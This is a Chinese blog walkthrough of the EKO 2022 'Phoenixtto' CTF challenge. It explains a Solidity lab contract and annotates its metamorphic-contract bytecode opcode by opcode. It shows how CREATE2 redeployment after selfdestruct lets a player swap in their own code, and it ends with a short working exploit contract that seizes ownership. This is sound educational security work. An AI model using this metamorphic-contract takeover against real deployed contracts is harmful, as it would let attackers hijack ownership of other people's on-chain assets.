EKO

CTF-EKO-Phoenixtto

Posted by Thomas_Xu on 2023-02-25

CTF-EKO-Phoenixtto


author:Thomas_Xu

从今天开始更新CTF-EKO系列,这貌似是ethernaut靶场的研发团队举办的一个CTF。

题目链接:https://www.ctfprotocol.com/tracks/eko2022/phoenixtto

先来看第一个题:

在跨界世界中,有一个特殊的跨界世界,口袋妖怪、哈利波特和 solidity 的宇宙交织在一起。在这个交叉中,在邓布利多的凤凰之间创造了一个混合生物,一个野生的同上,因为我们在固体宇宙中,这个生物是一个合同。我们称它为 Phoenixtto,它有两个重要的能力,一个是在它被破坏后从它的灰烬中重生,另一个是复制另一个字节码的行为。
如果可以,请尝试捕获 Phhoenixtto…

这个题目描述还挺有意思,不过也给了我一点思路,灰烬中重生``复制字节码听上去很有意思,难道和selfdestroy有关?

还是先来看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

/**
* @title Phoenixtto
* @author Rotcivegaf https://twitter.com/victor93389091 <victorfage@gmail.com>
* @dev Within the world of crossovers there is a special one, where the universes of pokemon,
* harry potter and solidity intertwine.
* In this crossover a mix creature is created between dumbledore's phoenix, a wild ditto and
* since we are in the solidity universe this creature is a contract.
* We have called it Phoenixtto and it has two important abilities, that of being reborn from
* it's ashes after its destruction and that of copying the behavior of another bytecode
* Try to capture the Phoenixtto, if you can...
* @custom:url https://www.ctfprotocol.com/tracks/eko2022/phoenixtto
*/
contract Laboratory {
address immutable PLAYER;
address public getImplementation;
address public addr;

constructor(address _player) {
PLAYER = _player;
}

function mergePhoenixDitto() public {
reBorn(type(Phoenixtto).creationCode);
}

function reBorn(bytes memory _code) public {
address x;
assembly {
x := create(0, add(0x20, _code), mload(_code))
}
getImplementation = x;

_code = hex"5860208158601c335a63aaf10f428752fa158151803b80938091923cf3";
assembly {
x := create2(0, add(_code, 0x20), mload(_code), 0)
}
addr = x;
Phoenixtto(x).reBorn();
}

function isCaught() external view returns (bool) {
return Phoenixtto(addr).owner() == PLAYER;
}
}

contract Phoenixtto {
address public owner;
bool private _isBorn;

function reBorn() external {
if (_isBorn) return;

_isBorn = true;
owner = address(this);
}

function capture(string memory _newOwner) external {
if (!_isBorn || msg.sender != tx.origin) return;

address newOwner = address(uint160(uint256(keccak256(abi.encodePacked(_newOwner)))));
if (newOwner == msg.sender) {
owner = newOwner;
} else {
selfdestruct(payable(msg.sender));
_isBorn = false;
}
}
}

粗略一读代码,这里出现了Create2和selfdestruct,结合题目的暗示,我估计玄机就在此处。

但?这二者有什么联系吗?

先不管了,看看Factory吧,因为Factory能看到判题标准,我们目标才能更明确。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function deploy(address _player) external payable override returns (address[] memory ret) {
require(msg.value == 0, "dont send ether");
address _challenge = address(new Laboratory(_player));
Laboratory(_challenge).mergePhoenixDitto();
ret = new address[](1);
ret[0] = _challenge;
}

function isComplete(address[] calldata _challenges) external view override returns (bool) {
// @dev to win this challenge you must drain the contract
Laboratory _target = Laboratory(_challenges[0]);

return _target.isCaught();
}

这里只帖出来deployisComplete就够了,从Factory我们可以了解到这个题只需要isCaught返回true即可。

也就是说要Phoenixtto的owner变为我们自己。那很自然而然地,唯一显式修改owner的地方在capture里。

1
2
3
4
5
6
7
8
9
10
11
`function capture(string memory _newOwner) external {
if (!_isBorn || msg.sender != tx.origin) return;

address newOwner = address(uint160(uint256(keccak256(abi.encodePacked(_newOwner)))));
if (newOwner == msg.sender) {
owner = newOwner;
} else {
selfdestruct(payable(msg.sender));
_isBorn = false;
}
}

这里要进入要修改owner的判断,其实并不复杂。

先来看看这个newOwner倒是是个啥吧:address newOwner = address(uint160(uint256(keccak256(abi.encodePacked(_newOwner)))));

如果熟悉以太坊账户的生成流程的话,应该很快就能看出来这里就是一个公钥到地址的一个转换,取了公钥哈希的最后20个字节。

那这个题就太简单了,只需要把自己公钥传进去就解题了。

这个点可能是EKO故意出的一个“签到题”,但其实这个题深入研究的话,还有一个真正的漏洞。

不难发现reBorn函数是比较关键的,我们重点分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function reBorn(bytes memory _code) public {
address x;
assembly {
x := create(0, add(0x20, _code), mload(_code))
}
getImplementation = x;

_code = hex"5860208158601c335a63aaf10f428752fa158151803b80938091923cf3";
assembly {
x := create2(0, add(_code, 0x20), mload(_code), 0)
}
addr = x;
Phoenixtto(x).reBorn();
}

function isCaught() external view returns (bool) {
return Phoenixtto(addr).owner() == PLAYER;
}

第一部分是Create,从Factory的调用可知,这里创建了Phoenixtto实例。该地址随后存储在状态变量中getImplementation

第二部分是个Create2,emmm这里用一串十六进制数重新赋值了code,看上去像是操作码,而Create2使用了这段操作码来初始化合约?这让我陷入短暂迷惑。

必须是一些有效的字节码,否则操作create2会失败,对吧?

但是,这些字节码究竟是什么意义?我在EVM playground上模拟了一下,这一串字节码节码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70

* 0x5860208158601c335a63aaf10f428752fa158151803b80938091923cf3
*
* pc|op|name | [stack] | <memory>
*
* ** 将第一个堆栈项设置为零 **
* 00 58 getpc [0] <>
*
* ** 将第二个堆栈项设置为32,将是staticcall的长度参数 **
* 01 60 push1
* 02 20 outsize [0, 32] <>
*
* ** 将第三个堆栈项设置为0,将是staticcall的position参数 **
* 03 81 dup2 [0, 32, 0] <>
*
* ** 将第四个堆栈项设置为4,将是staticcall的选择器长度参数 **
* 04 58 getpc [0, 32, 0, 4] <>
*
* ** 将第五个堆栈项设置为28,将是staticcall的选择器的position参数 **
* 05 60 push1
* 06 1c inpos [0, 32, 0, 4, 28] <>
*
* ** 将第六个堆栈项设置为msg.sender,staticcall的目标地址 **
* 07 33 caller [0, 32, 0, 4, 28, caller] <>
*
* ** 讲第七个堆栈项设置为msg.gas, staticcall的gas限制 **
* 08 5a gas [0, 32, 0, 4, 28, caller, gas] <>
*
* ** 将第八个堆栈项设置为选择器,通过mstore存储“what” **
* 09 63 push4
* 10 aaf10f42 selector [0, 32, 0, 4, 28, caller, gas, 0xaaf10f42] <>
*
* ** 将第九个堆栈项设置为0,“where”通过mstore存储 ***
* 11 87 dup8 [0, 32, 0, 4, 28, caller, gas, 0xaaf10f42, 0] <>
*
* ** 调用mstore,从堆栈中消耗8和9,将选择器放在内存中 **
* 12 52 mstore [0, 32, 0, 4, 0, caller, gas] <0xaaf10f42>
*
* ** 调用staiccall,使用堆栈2到7,将地址放在内存中 **
* 13 fa staticcall [0, 1 (if successful)] <address>
*
* ** 将第二个堆栈项中的成功位翻转为0 **
* 14 15 iszero [0, 0] <address>
*
* ** 将第三个0推送到堆栈,地址在内存中的位置 **
* 15 81 dup2 [0, 0, 0] <address>
*
* ** 将地址从内存中的位置放到第三个堆栈项上 **
* 16 51 mload [0, 0, address] <>
*
* ** 将地址放置到要使用的extcodesize的第四个堆栈项 **
* 17 80 dup1 [0, 0, address, address] <>
*
* ** 获取extcodecopy的第四个堆栈项的extcodesize **
* 18 3b extcodesize [0, 0, address, size] <>
*
* ** dup和swap大小,供init代码末尾的返回使用 **
* 19 80 dup1 [0, 0, address, size, size] <>
* 20 93 swap4 [size, 0, address, size, 0] <>
*
* ** 将代码位置0推送到extcodecopy的堆栈和重新排序堆栈项 **
* 21 80 dup1 [size, 0, address, size, 0, 0] <>
* 22 91 swap2 [size, 0, address, 0, 0, size] <>
* 23 92 swap3 [size, 0, size, 0, 0, address] <>
*
* ** 调用extcodecopy,使用四项,将运行时代码克隆到内存 **
* 24 3c extcodecopy [size, 0] <code>
*
* ** 返回以在内存中部署最终代码 **
* 25 f3 return [] *deployed!*

这里其实是有关Metamorphic Contracts的应用,相关链接:

这个概念背后的想法是能够更改合约中的代码并使其变形为其他东西。这利用了这样一个事实,即给定相同的输入,CREATE2 将始终将字节码部署到相同的地址。需要注意的一件重要事情是,使用的字节码是参数的一部分,也是用于生成地址的公式的一部分。因此,如果它发生变化,结果地址将因此发生变化。

所有的magic都是由部署的字节码中的内容完成的(始终相同)5860208158601c335a63aaf10f428752fa158151803b80938091923cf3:. 只需几句话,它就会查询调用者,询问哪个是执行合约的地址,用作要部署的智能合约的源。

通过这样做,虽然部署的合约是动态的,但生成的地址始终是相同的。

而这里create2其实是使用的getImplementation的creationcode来部署的合约。应用此方法,Create2可以将不同的代码部署在一个地址上,从而实现“升级”。前提是旧合约必须被自毁,这样Create2再次在这个合约地址部署合约的时候才不会报错。

分析到这里,解题思路已经很清晰了,就是利用这个“升级”漏洞,把该地址变为我们自己的攻击合约。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// SPDX-License-Identifier: MIT

pragma solidity 0.8.17;

import "../ChallengePhoenixtto.sol";

contract ChallengePhoenixttoReborn {
address public owner;

function reBorn() external {
owner = tx.origin;
}
}

contract ChallengePhoenixttoDeployer {
constructor(address laboratory) {
Laboratory(laboratory).reBorn(type(ChallengePhoenixttoReborn).creationCode);
}
}

notice

true

This is copyright.

...

...

00:00
00:00